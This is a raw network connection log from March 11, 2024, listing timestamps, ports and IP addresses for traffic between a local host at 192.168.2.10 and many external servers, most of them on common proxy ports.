Mar 11, 2024 16:39:44.814022064 CET	80	50799	104.27.37.131	192.168.2.10
Mar 11, 2024 16:39:44.814116001 CET	8080	50927	160.3.168.70	192.168.2.10
Mar 11, 2024 16:39:44.814255953 CET	50799	80	192.168.2.10	104.27.37.131
Mar 11, 2024 16:39:44.814408064 CET	50927	8080	192.168.2.10	160.3.168.70
Mar 11, 2024 16:39:44.814527035 CET	50927	8080	192.168.2.10	160.3.168.70
Mar 11, 2024 16:39:44.814747095 CET	80	49975	50.172.75.125	192.168.2.10
Mar 11, 2024 16:39:44.815167904 CET	80	50799	104.27.37.131	192.168.2.10
Mar 11, 2024 16:39:44.815243959 CET	50799	80	192.168.2.10	104.27.37.131
Mar 11, 2024 16:39:44.816745996 CET	51068	4145	192.168.2.10	184.181.217.210
Mar 11, 2024 16:39:44.816785097 CET	51070	5678	192.168.2.10	190.113.90.230
Mar 11, 2024 16:39:44.816791058 CET	51069	30747	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:44.816803932 CET	80	50017	50.168.210.239	192.168.2.10
Mar 11, 2024 16:39:44.816916943 CET	49775	28971	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:44.816988945 CET	49729	4145	192.168.2.10	152.32.78.24
Mar 11, 2024 16:39:44.818979025 CET	15673	50949	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:44.819374084 CET	50949	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:44.819374084 CET	50949	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:44.819430113 CET	80	50899	209.126.6.159	192.168.2.10
Mar 11, 2024 16:39:44.819691896 CET	50899	80	192.168.2.10	209.126.6.159
Mar 11, 2024 16:39:44.820460081 CET	80	50327	186.124.164.213	192.168.2.10
Mar 11, 2024 16:39:44.820501089 CET	50899	80	192.168.2.10	209.126.6.159
Mar 11, 2024 16:39:44.820525885 CET	80	49911	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:44.820696115 CET	80	50327	186.124.164.213	192.168.2.10
Mar 11, 2024 16:39:44.820950985 CET	27207	50698	91.134.140.160	192.168.2.10
Mar 11, 2024 16:39:44.821110964 CET	51071	80	192.168.2.10	186.124.164.213
Mar 11, 2024 16:39:44.821743011 CET	51073	27207	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:44.821744919 CET	51072	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:44.821968079 CET	27207	50698	91.134.140.160	192.168.2.10
Mar 11, 2024 16:39:44.822118998 CET	80	49911	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:44.822227955 CET	80	49911	39.105.5.126	192.168.2.10
Mar 11, 2024 16:39:44.822274923 CET	51074	80	192.168.2.10	121.128.194.154
Mar 11, 2024 16:39:44.822999954 CET	4145	50853	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:44.823066950 CET	26087	50033	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:44.823107004 CET	49911	80	192.168.2.10	39.105.5.126
Mar 11, 2024 16:39:44.823107004 CET	50853	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:44.823529959 CET	50853	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:44.823607922 CET	3128	49872	34.85.177.170	192.168.2.10
Mar 11, 2024 16:39:44.823771954 CET	49872	3128	192.168.2.10	34.85.177.170
Mar 11, 2024 16:39:44.823771954 CET	49872	3128	192.168.2.10	34.85.177.170
Mar 11, 2024 16:39:44.824245930 CET	3128	50174	41.223.232.117	192.168.2.10
Mar 11, 2024 16:39:44.826864004 CET	22645	50904	67.43.236.18	192.168.2.10
Mar 11, 2024 16:39:44.828134060 CET	4145	50781	168.205.217.37	192.168.2.10
Mar 11, 2024 16:39:44.828241110 CET	50781	4145	192.168.2.10	168.205.217.37
Mar 11, 2024 16:39:44.828517914 CET	50781	4145	192.168.2.10	168.205.217.37
Mar 11, 2024 16:39:44.828574896 CET	4153	50319	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:44.828665018 CET	50319	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:44.828869104 CET	50319	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:44.828895092 CET	51075	4153	192.168.2.10	212.31.100.138
Mar 11, 2024 16:39:44.829535007 CET	4153	50319	212.31.100.138	192.168.2.10
Mar 11, 2024 16:39:44.830708027 CET	46656	50939	38.127.179.126	192.168.2.10
Mar 11, 2024 16:39:44.830892086 CET	9090	50760	91.241.217.58	192.168.2.10
Mar 11, 2024 16:39:44.832206964 CET	9002	50705	221.6.139.190	192.168.2.10
Mar 11, 2024 16:39:44.832328081 CET	50705	9002	192.168.2.10	221.6.139.190
Mar 11, 2024 16:39:44.832443953 CET	50760	9090	192.168.2.10	91.241.217.58
Mar 11, 2024 16:39:44.832443953 CET	50760	9090	192.168.2.10	91.241.217.58
Mar 11, 2024 16:39:44.832545996 CET	49967	1976	192.168.2.10	41.128.148.76
Mar 11, 2024 16:39:44.832547903 CET	49780	50605	192.168.2.10	51.81.89.146
Mar 11, 2024 16:39:44.832552910 CET	49878	3128	192.168.2.10	18.134.236.231
Mar 11, 2024 16:39:44.832560062 CET	49795	80	192.168.2.10	50.239.72.19
Mar 11, 2024 16:39:44.832570076 CET	50206	42331	192.168.2.10	206.189.9.30
Mar 11, 2024 16:39:44.832570076 CET	50245	5678	192.168.2.10	191.97.2.198
Mar 11, 2024 16:39:44.832757950 CET	1080	50249	54.212.22.168	192.168.2.10
Mar 11, 2024 16:39:44.832770109 CET	8081	50761	178.141.249.246	192.168.2.10
Mar 11, 2024 16:39:44.832859039 CET	50705	9002	192.168.2.10	221.6.139.190
Mar 11, 2024 16:39:44.833256960 CET	3129	49833	20.204.212.76	192.168.2.10
Mar 11, 2024 16:39:44.833268881 CET	4145	50538	184.181.217.206	192.168.2.10
Mar 11, 2024 16:39:44.833663940 CET	4145	50538	184.181.217.206	192.168.2.10
Mar 11, 2024 16:39:44.834330082 CET	80	50608	104.16.109.207	192.168.2.10
Mar 11, 2024 16:39:44.834356070 CET	51076	4145	192.168.2.10	184.181.217.206
Mar 11, 2024 16:39:44.835055113 CET	51077	999	192.168.2.10	38.56.70.97
Mar 11, 2024 16:39:44.835385084 CET	4145	50982	184.178.172.14	192.168.2.10
Mar 11, 2024 16:39:44.835730076 CET	50982	4145	192.168.2.10	184.178.172.14
Mar 11, 2024 16:39:44.836330891 CET	20001	50931	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.837343931 CET	80	50838	50.174.145.14	192.168.2.10
Mar 11, 2024 16:39:44.839658976 CET	80	50117	50.145.6.36	192.168.2.10
Mar 11, 2024 16:39:44.841890097 CET	3128	50468	18.135.211.182	192.168.2.10
Mar 11, 2024 16:39:44.843754053 CET	8080	50932	96.80.235.1	192.168.2.10
Mar 11, 2024 16:39:44.843864918 CET	50932	8080	192.168.2.10	96.80.235.1
Mar 11, 2024 16:39:44.843997955 CET	50932	8080	192.168.2.10	96.80.235.1
Mar 11, 2024 16:39:44.844552040 CET	80	49946	50.170.90.24	192.168.2.10
Mar 11, 2024 16:39:44.844564915 CET	80	51007	185.162.229.70	192.168.2.10
Mar 11, 2024 16:39:44.844700098 CET	51007	80	192.168.2.10	185.162.229.70
Mar 11, 2024 16:39:44.844700098 CET	51007	80	192.168.2.10	185.162.229.70
Mar 11, 2024 16:39:44.846476078 CET	3128	50468	18.135.211.182	192.168.2.10
Mar 11, 2024 16:39:44.848175049 CET	50328	4145	192.168.2.10	142.54.229.249
Mar 11, 2024 16:39:44.848176003 CET	49784	31033	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:44.848191977 CET	50308	80	192.168.2.10	50.231.104.58
Mar 11, 2024 16:39:44.848237991 CET	50468	3128	192.168.2.10	18.135.211.182
Mar 11, 2024 16:39:44.848238945 CET	50228	5096	192.168.2.10	165.154.227.154
Mar 11, 2024 16:39:44.848603010 CET	80	50956	50.168.72.116	192.168.2.10
Mar 11, 2024 16:39:44.848615885 CET	80	51002	162.159.246.135	192.168.2.10
Mar 11, 2024 16:39:44.848795891 CET	51002	80	192.168.2.10	162.159.246.135
Mar 11, 2024 16:39:44.848942995 CET	51002	80	192.168.2.10	162.159.246.135
Mar 11, 2024 16:39:44.850574970 CET	44195	50299	162.19.7.56	192.168.2.10
Mar 11, 2024 16:39:44.850629091 CET	44195	50299	162.19.7.56	192.168.2.10
Mar 11, 2024 16:39:44.850725889 CET	50299	44195	192.168.2.10	162.19.7.56
Mar 11, 2024 16:39:44.850852966 CET	50299	44195	192.168.2.10	162.19.7.56
Mar 11, 2024 16:39:44.850904942 CET	8080	50195	103.159.66.61	192.168.2.10
Mar 11, 2024 16:39:44.851845980 CET	1080	49836	5.252.23.220	192.168.2.10
Mar 11, 2024 16:39:44.851982117 CET	49836	1080	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:44.852104902 CET	49836	1080	192.168.2.10	5.252.23.220
Mar 11, 2024 16:39:44.852361917 CET	4145	50803	185.169.181.25	192.168.2.10
Mar 11, 2024 16:39:44.854351997 CET	80	50806	89.31.143.12	192.168.2.10
Mar 11, 2024 16:39:44.854528904 CET	50806	80	192.168.2.10	89.31.143.12
Mar 11, 2024 16:39:44.855263948 CET	80	50335	54.152.3.36	192.168.2.10
Mar 11, 2024 16:39:44.855303049 CET	50806	80	192.168.2.10	89.31.143.12
Mar 11, 2024 16:39:44.857552052 CET	49202	50366	51.161.131.84	192.168.2.10
Mar 11, 2024 16:39:44.858010054 CET	80	50945	174.138.114.226	192.168.2.10
Mar 11, 2024 16:39:44.858613014 CET	4145	50989	199.102.104.70	192.168.2.10
Mar 11, 2024 16:39:44.859069109 CET	50945	80	192.168.2.10	174.138.114.226
Mar 11, 2024 16:39:44.859579086 CET	5432	50400	45.196.151.84	192.168.2.10
Mar 11, 2024 16:39:44.859718084 CET	8000	50805	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:44.860515118 CET	49202	50366	51.161.131.84	192.168.2.10
Mar 11, 2024 16:39:44.861903906 CET	3128	50204	13.208.168.179	192.168.2.10
Mar 11, 2024 16:39:44.861989975 CET	50805	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:44.862989902 CET	50945	80	192.168.2.10	174.138.114.226
Mar 11, 2024 16:39:44.863329887 CET	50805	8000	192.168.2.10	14.103.24.20
Mar 11, 2024 16:39:44.863755941 CET	80	50746	65.1.244.232	192.168.2.10
Mar 11, 2024 16:39:44.863789082 CET	51078	49202	192.168.2.10	51.161.131.84
Mar 11, 2024 16:39:44.863810062 CET	50025	7777	192.168.2.10	111.8.155.54
Mar 11, 2024 16:39:44.863821983 CET	50023	80	192.168.2.10	45.224.247.102
Mar 11, 2024 16:39:44.863823891 CET	50026	8088	192.168.2.10	179.43.8.16
Mar 11, 2024 16:39:44.863826990 CET	50029	999	192.168.2.10	200.52.148.10
Mar 11, 2024 16:39:44.863831997 CET	50043	3128	192.168.2.10	113.100.209.184
Mar 11, 2024 16:39:44.863831997 CET	50031	42581	192.168.2.10	207.180.198.241
Mar 11, 2024 16:39:44.863837004 CET	15303	50620	184.178.172.5	192.168.2.10
Mar 11, 2024 16:39:44.863856077 CET	50030	19058	192.168.2.10	195.154.43.184
Mar 11, 2024 16:39:44.863873005 CET	49787	32221	192.168.2.10	67.43.228.254
Mar 11, 2024 16:39:44.863873959 CET	49970	80	192.168.2.10	52.196.1.182
Mar 11, 2024 16:39:44.863873959 CET	50248	80	192.168.2.10	50.217.226.44
Mar 11, 2024 16:39:44.863883972 CET	50032	3128	192.168.2.10	103.231.248.98
Mar 11, 2024 16:39:44.863888025 CET	50028	57391	192.168.2.10	164.92.86.113
Mar 11, 2024 16:39:44.863888025 CET	50241	80	192.168.2.10	141.147.33.121
Mar 11, 2024 16:39:44.863888025 CET	50037	11070	192.168.2.10	147.124.212.31
Mar 11, 2024 16:39:44.863893032 CET	15303	50620	184.178.172.5	192.168.2.10
Mar 11, 2024 16:39:44.863903046 CET	50027	16379	192.168.2.10	51.158.64.130
Mar 11, 2024 16:39:44.863960981 CET	50236	8181	192.168.2.10	43.132.184.228
Mar 11, 2024 16:39:44.863960981 CET	50042	27262	192.168.2.10	162.144.121.232
Mar 11, 2024 16:39:44.864166975 CET	50746	80	192.168.2.10	65.1.244.232
Mar 11, 2024 16:39:44.864265919 CET	50746	80	192.168.2.10	65.1.244.232
Mar 11, 2024 16:39:44.864775896 CET	51079	15303	192.168.2.10	184.178.172.5
Mar 11, 2024 16:39:44.865544081 CET	8080	50848	46.105.35.193	192.168.2.10
Mar 11, 2024 16:39:44.865928888 CET	1080	50696	103.140.205.133	192.168.2.10
Mar 11, 2024 16:39:44.866672993 CET	80	50833	104.16.241.204	192.168.2.10
Mar 11, 2024 16:39:44.866686106 CET	80	50833	104.16.241.204	192.168.2.10
Mar 11, 2024 16:39:44.867046118 CET	50833	80	192.168.2.10	104.16.241.204
Mar 11, 2024 16:39:44.867274046 CET	80	50656	104.16.108.42	192.168.2.10
Mar 11, 2024 16:39:44.867285967 CET	80	50833	104.16.241.204	192.168.2.10
Mar 11, 2024 16:39:44.867404938 CET	50833	80	192.168.2.10	104.16.241.204
Mar 11, 2024 16:39:44.867414951 CET	18080	49937	8.142.132.204	192.168.2.10
Mar 11, 2024 16:39:44.867611885 CET	50204	3128	192.168.2.10	13.208.168.179
Mar 11, 2024 16:39:44.868144035 CET	8000	50051	14.103.24.20	192.168.2.10
Mar 11, 2024 16:39:44.868491888 CET	51080	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:44.869121075 CET	8080	50767	45.150.25.132	192.168.2.10
Mar 11, 2024 16:39:44.869234085 CET	50767	8080	192.168.2.10	45.150.25.132
Mar 11, 2024 16:39:44.869362116 CET	50767	8080	192.168.2.10	45.150.25.132
Mar 11, 2024 16:39:44.869452953 CET	31571	50669	72.10.160.170	192.168.2.10
Mar 11, 2024 16:39:44.869570971 CET	8000	50979	198.199.83.206	192.168.2.10
Mar 11, 2024 16:39:44.869759083 CET	3629	50826	177.86.64.1	192.168.2.10
Mar 11, 2024 16:39:44.872261047 CET	18080	49937	8.142.132.204	192.168.2.10
Mar 11, 2024 16:39:44.872278929 CET	50335	80	192.168.2.10	54.152.3.36
Mar 11, 2024 16:39:44.872356892 CET	49937	18080	192.168.2.10	8.142.132.204
Mar 11, 2024 16:39:44.873322964 CET	80	50839	52.67.10.183	192.168.2.10
Mar 11, 2024 16:39:44.874500036 CET	50839	80	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:44.874913931 CET	50839	80	192.168.2.10	52.67.10.183
Mar 11, 2024 16:39:44.876559973 CET	51081	8089	192.168.2.10	113.223.214.1
Mar 11, 2024 16:39:44.876866102 CET	14921	50136	192.252.211.197	192.168.2.10
Mar 11, 2024 16:39:44.877320051 CET	51082	3128	192.168.2.10	45.7.24.102
Mar 11, 2024 16:39:44.877451897 CET	80	50883	50.174.145.12	192.168.2.10
Mar 11, 2024 16:39:44.878281116 CET	38817	50808	77.48.23.181	192.168.2.10
Mar 11, 2024 16:39:44.879440069 CET	50034	83	192.168.2.10	103.159.46.2
Mar 11, 2024 16:39:44.879441023 CET	50035	25847	192.168.2.10	62.171.131.101
Mar 11, 2024 16:39:44.879441023 CET	50040	16379	192.168.2.10	51.15.142.4
Mar 11, 2024 16:39:44.879442930 CET	50249	1080	192.168.2.10	54.212.22.168
Mar 11, 2024 16:39:44.879442930 CET	50102	4153	192.168.2.10	203.76.117.74
Mar 11, 2024 16:39:44.879442930 CET	49719	3129	192.168.2.10	20.219.180.149
Mar 11, 2024 16:39:44.879452944 CET	50052	4153	192.168.2.10	202.166.219.80
Mar 11, 2024 16:39:44.879458904 CET	50044	9064	192.168.2.10	172.104.145.22
Mar 11, 2024 16:39:44.879461050 CET	50053	10080	192.168.2.10	81.19.3.249
Mar 11, 2024 16:39:44.879466057 CET	50049	16823	192.168.2.10	167.86.102.169
Mar 11, 2024 16:39:44.879473925 CET	50046	80	192.168.2.10	103.96.38.161
Mar 11, 2024 16:39:44.879520893 CET	50055	8080	192.168.2.10	103.77.50.168
Mar 11, 2024 16:39:44.879555941 CET	50054	6014	192.168.2.10	45.11.95.166
Mar 11, 2024 16:39:44.881489038 CET	1080	50845	188.255.245.205	192.168.2.10
Mar 11, 2024 16:39:44.882086039 CET	80	50483	3.127.62.252	192.168.2.10
Mar 11, 2024 16:39:44.883510113 CET	8080	50375	213.184.153.66	192.168.2.10
Mar 11, 2024 16:39:44.883522987 CET	4145	50994	199.229.254.129	192.168.2.10
Mar 11, 2024 16:39:44.886607885 CET	7853	50100	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:44.887567997 CET	80	50670	172.67.181.97	192.168.2.10
Mar 11, 2024 16:39:44.887979984 CET	4145	50202	199.102.107.145	192.168.2.10
Mar 11, 2024 16:39:44.889571905 CET	4145	49945	36.90.61.224	192.168.2.10
Mar 11, 2024 16:39:44.889588118 CET	80	50684	104.25.42.178	192.168.2.10
Mar 11, 2024 16:39:44.890372992 CET	80	50870	47.242.234.237	192.168.2.10
Mar 11, 2024 16:39:44.890685081 CET	50870	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:44.890734911 CET	50870	80	192.168.2.10	47.242.234.237
Mar 11, 2024 16:39:44.891763926 CET	80	50893	50.217.226.42	192.168.2.10
Mar 11, 2024 16:39:44.893284082 CET	5678	49879	176.119.227.65	192.168.2.10
Mar 11, 2024 16:39:44.894258022 CET	3629	49841	178.158.197.147	192.168.2.10
Mar 11, 2024 16:39:44.895034075 CET	49794	54240	192.168.2.10	200.25.254.193
Mar 11, 2024 16:39:44.895057917 CET	50070	8080	192.168.2.10	201.170.180.188
Mar 11, 2024 16:39:44.895075083 CET	50048	999	192.168.2.10	167.249.29.218
Mar 11, 2024 16:39:44.895075083 CET	50367	8080	192.168.2.10	5.78.89.192
Mar 11, 2024 16:39:44.895075083 CET	50068	8080	192.168.2.10	94.186.234.236
Mar 11, 2024 16:39:44.895117044 CET	50057	8080	192.168.2.10	74.62.179.122
Mar 11, 2024 16:39:44.895117998 CET	49736	33590	192.168.2.10	85.120.30.66
Mar 11, 2024 16:39:44.895117998 CET	50056	5678	192.168.2.10	58.84.32.118
Mar 11, 2024 16:39:44.896861076 CET	4145	50818	103.210.35.40	192.168.2.10
Mar 11, 2024 16:39:44.897146940 CET	51083	3829	192.168.2.10	103.160.41.138
Mar 11, 2024 16:39:44.899174929 CET	51084	8080	192.168.2.10	109.201.233.219
Mar 11, 2024 16:39:44.900249004 CET	5430	50064	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:44.901094913 CET	3128	50996	38.54.95.19	192.168.2.10
Mar 11, 2024 16:39:44.901210070 CET	50996	3128	192.168.2.10	38.54.95.19
Mar 11, 2024 16:39:44.901607037 CET	17893	50106	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:44.901648045 CET	50996	3128	192.168.2.10	38.54.95.19
Mar 11, 2024 16:39:44.902264118 CET	24279	50118	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:44.902658939 CET	36363	50990	51.222.241.157	192.168.2.10
Mar 11, 2024 16:39:44.902671099 CET	4145	50224	199.102.106.94	192.168.2.10
Mar 11, 2024 16:39:44.904086113 CET	4145	51015	142.54.231.38	192.168.2.10
Mar 11, 2024 16:39:44.905034065 CET	8080	50382	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:44.905323029 CET	80	50691	104.19.225.70	192.168.2.10
Mar 11, 2024 16:39:44.905450106 CET	50382	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:44.905488968 CET	37355	49990	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:44.905874968 CET	51085	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:44.905874968 CET	50382	8080	192.168.2.10	91.148.127.162
Mar 11, 2024 16:39:44.905921936 CET	32650	50823	103.216.51.36	192.168.2.10
Mar 11, 2024 16:39:44.906907082 CET	58386	49845	5.44.42.115	192.168.2.10
Mar 11, 2024 16:39:44.906919956 CET	7777	50093	218.6.120.111	192.168.2.10
Mar 11, 2024 16:39:44.907013893 CET	51086	3128	192.168.2.10	138.68.60.8
Mar 11, 2024 16:39:44.907022953 CET	80	50957	50.169.118.209	192.168.2.10
Mar 11, 2024 16:39:44.907452106 CET	50093	7777	192.168.2.10	218.6.120.111
Mar 11, 2024 16:39:44.907820940 CET	51088	999	192.168.2.10	187.49.191.14
Mar 11, 2024 16:39:44.907862902 CET	51087	9050	192.168.2.10	211.194.214.128
Mar 11, 2024 16:39:44.908884048 CET	80	50483	3.127.62.252	192.168.2.10
Mar 11, 2024 16:39:44.909543991 CET	5430	50064	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:44.909548044 CET	50483	80	192.168.2.10	3.127.62.252
Mar 11, 2024 16:39:44.910393953 CET	58703	50997	67.213.210.118	192.168.2.10
Mar 11, 2024 16:39:44.910676956 CET	50080	8080	192.168.2.10	93.42.151.10
Mar 11, 2024 16:39:44.910677910 CET	50075	42539	192.168.2.10	86.110.189.118
Mar 11, 2024 16:39:44.910681009 CET	50374	60200	192.168.2.10	162.241.137.197
Mar 11, 2024 16:39:44.910681963 CET	50079	25485	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:44.910701036 CET	50061	58275	192.168.2.10	162.214.191.209
Mar 11, 2024 16:39:44.910702944 CET	50178	3129	192.168.2.10	20.204.214.79
Mar 11, 2024 16:39:44.910705090 CET	50088	56350	192.168.2.10	148.66.130.53
Mar 11, 2024 16:39:44.910706997 CET	50085	80	192.168.2.10	5.189.184.6
Mar 11, 2024 16:39:44.910705090 CET	50073	8123	192.168.2.10	119.81.71.27
Mar 11, 2024 16:39:44.910710096 CET	50076	8082	192.168.2.10	58.69.201.117
Mar 11, 2024 16:39:44.910710096 CET	50083	5678	192.168.2.10	197.211.244.135
Mar 11, 2024 16:39:44.910711050 CET	50060	2016	192.168.2.10	103.83.178.205
Mar 11, 2024 16:39:44.910715103 CET	50091	80	192.168.2.10	146.70.80.76
Mar 11, 2024 16:39:44.910711050 CET	50084	44523	192.168.2.10	192.99.207.129
Mar 11, 2024 16:39:44.910711050 CET	50072	8080	192.168.2.10	98.64.169.17
Mar 11, 2024 16:39:44.910723925 CET	50090	999	192.168.2.10	186.24.9.114
Mar 11, 2024 16:39:44.910811901 CET	29796	50902	54.36.122.16	192.168.2.10
Mar 11, 2024 16:39:44.911006927 CET	50902	29796	192.168.2.10	54.36.122.16
Mar 11, 2024 16:39:44.911299944 CET	50902	29796	192.168.2.10	54.36.122.16
Mar 11, 2024 16:39:44.911828995 CET	51089	3128	192.168.2.10	13.37.59.99
Mar 11, 2024 16:39:44.912447929 CET	51090	65424	192.168.2.10	203.153.125.13
Mar 11, 2024 16:39:44.912595034 CET	8193	50506	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:44.912622929 CET	8193	50506	211.222.252.187	192.168.2.10
Mar 11, 2024 16:39:44.912677050 CET	50506	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.912760973 CET	50506	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.913172960 CET	51091	8193	192.168.2.10	211.222.252.187
Mar 11, 2024 16:39:44.913889885 CET	5430	50852	202.179.184.44	192.168.2.10
Mar 11, 2024 16:39:44.914196014 CET	50852	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:44.914208889 CET	34411	50952	212.110.188.195	192.168.2.10
Mar 11, 2024 16:39:44.914227962 CET	50852	5430	192.168.2.10	202.179.184.44
Mar 11, 2024 16:39:44.914314985 CET	50952	34411	192.168.2.10	212.110.188.195
Mar 11, 2024 16:39:44.914372921 CET	50952	34411	192.168.2.10	212.110.188.195
Mar 11, 2024 16:39:44.915803909 CET	80	50717	104.22.50.220	192.168.2.10
Mar 11, 2024 16:39:44.916543007 CET	51092	80	192.168.2.10	50.200.12.82
Mar 11, 2024 16:39:44.918217897 CET	64384	50911	195.154.43.221	192.168.2.10
Mar 11, 2024 16:39:44.918312073 CET	1431	50125	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:44.918663979 CET	1080	50371	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:44.918692112 CET	8080	50382	91.148.127.162	192.168.2.10
Mar 11, 2024 16:39:44.918838978 CET	50371	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:44.919238091 CET	51093	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:44.919238091 CET	50371	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:44.919945955 CET	15673	51014	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:44.920258999 CET	51014	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:44.920445919 CET	51014	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:44.921124935 CET	6969	50891	95.217.222.213	192.168.2.10
Mar 11, 2024 16:39:44.922208071 CET	80	50729	172.67.127.188	192.168.2.10
Mar 11, 2024 16:39:44.922221899 CET	8089	50821	111.225.153.135	192.168.2.10
Mar 11, 2024 16:39:44.923460007 CET	61634	51057	107.180.103.214	192.168.2.10
Mar 11, 2024 16:39:44.923816919 CET	51057	61634	192.168.2.10	107.180.103.214
Mar 11, 2024 16:39:44.923933029 CET	51057	61634	192.168.2.10	107.180.103.214
Mar 11, 2024 16:39:44.923986912 CET	9401	50631	147.75.92.251	192.168.2.10
Mar 11, 2024 16:39:44.924429893 CET	4145	50864	177.125.206.40	192.168.2.10
Mar 11, 2024 16:39:44.924555063 CET	50631	9401	192.168.2.10	147.75.92.251
Mar 11, 2024 16:39:44.925672054 CET	51094	6008	192.168.2.10	45.11.95.166
Mar 11, 2024 16:39:44.925705910 CET	51095	999	192.168.2.10	167.250.181.133
Mar 11, 2024 16:39:44.926063061 CET	51096	9050	192.168.2.10	45.77.108.208
Mar 11, 2024 16:39:44.926300049 CET	50077	8089	192.168.2.10	77.242.24.241
Mar 11, 2024 16:39:44.926304102 CET	50082	60080	192.168.2.10	87.255.200.108
Mar 11, 2024 16:39:44.926304102 CET	50078	8080	192.168.2.10	122.52.196.36
Mar 11, 2024 16:39:44.926320076 CET	50081	1080	192.168.2.10	202.6.224.52
Mar 11, 2024 16:39:44.926320076 CET	50279	24815	192.168.2.10	95.217.104.21
Mar 11, 2024 16:39:44.926322937 CET	50089	8080	192.168.2.10	103.81.115.210
Mar 11, 2024 16:39:44.926322937 CET	50433	4145	192.168.2.10	199.58.185.9
Mar 11, 2024 16:39:44.926322937 CET	50101	40080	192.168.2.10	67.213.212.50
Mar 11, 2024 16:39:44.926336050 CET	50105	8899	192.168.2.10	66.228.140.209
Mar 11, 2024 16:39:44.926337957 CET	50099	53340	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:44.926337957 CET	50104	3500	192.168.2.10	23.225.72.122
Mar 11, 2024 16:39:44.926341057 CET	50094	80	192.168.2.10	190.128.241.102
Mar 11, 2024 16:39:44.926353931 CET	50108	8080	192.168.2.10	103.167.68.77
Mar 11, 2024 16:39:44.926353931 CET	50107	6022	192.168.2.10	186.215.87.194
Mar 11, 2024 16:39:44.927731037 CET	80	50739	172.67.182.107	192.168.2.10
Mar 11, 2024 16:39:44.928431988 CET	5678	49874	1.15.62.12	192.168.2.10
Mar 11, 2024 16:39:44.928534985 CET	49874	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:44.928544998 CET	80	51065	154.208.10.126	192.168.2.10
Mar 11, 2024 16:39:44.928720951 CET	51065	80	192.168.2.10	154.208.10.126
Mar 11, 2024 16:39:44.928721905 CET	49874	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:44.928893089 CET	51097	27531	192.168.2.10	162.144.36.208
Mar 11, 2024 16:39:44.928910017 CET	51065	80	192.168.2.10	154.208.10.126
Mar 11, 2024 16:39:44.929938078 CET	80	50550	198.44.255.3	192.168.2.10
Mar 11, 2024 16:39:44.930085897 CET	80	50550	198.44.255.3	192.168.2.10
Mar 11, 2024 16:39:44.930727005 CET	51098	80	192.168.2.10	198.44.255.3
Mar 11, 2024 16:39:44.931128979 CET	4145	50857	82.137.244.59	192.168.2.10
Mar 11, 2024 16:39:44.931164980 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:44.931190014 CET	51099	80	192.168.2.10	104.16.224.33
Mar 11, 2024 16:39:44.931233883 CET	50912	80	192.168.2.10	47.93.121.200
Mar 11, 2024 16:39:44.931345940 CET	50912	80	192.168.2.10	47.93.121.200
Mar 11, 2024 16:39:44.931994915 CET	31679	50983	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:44.932127953 CET	50983	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:44.932188034 CET	50983	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:44.932701111 CET	4145	50984	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:44.932714939 CET	80	50948	103.197.71.7	192.168.2.10
Mar 11, 2024 16:39:44.932801962 CET	50948	80	192.168.2.10	103.197.71.7
Mar 11, 2024 16:39:44.933051109 CET	50984	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:44.933051109 CET	50984	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:44.933156967 CET	50948	80	192.168.2.10	103.197.71.7
Mar 11, 2024 16:39:44.933428049 CET	80	50921	162.159.241.5	192.168.2.10
Mar 11, 2024 16:39:44.933439970 CET	80	50921	162.159.241.5	192.168.2.10
Mar 11, 2024 16:39:44.933567047 CET	10363	50129	67.43.236.20	192.168.2.10
Mar 11, 2024 16:39:44.933578968 CET	9764	50421	162.243.102.207	192.168.2.10
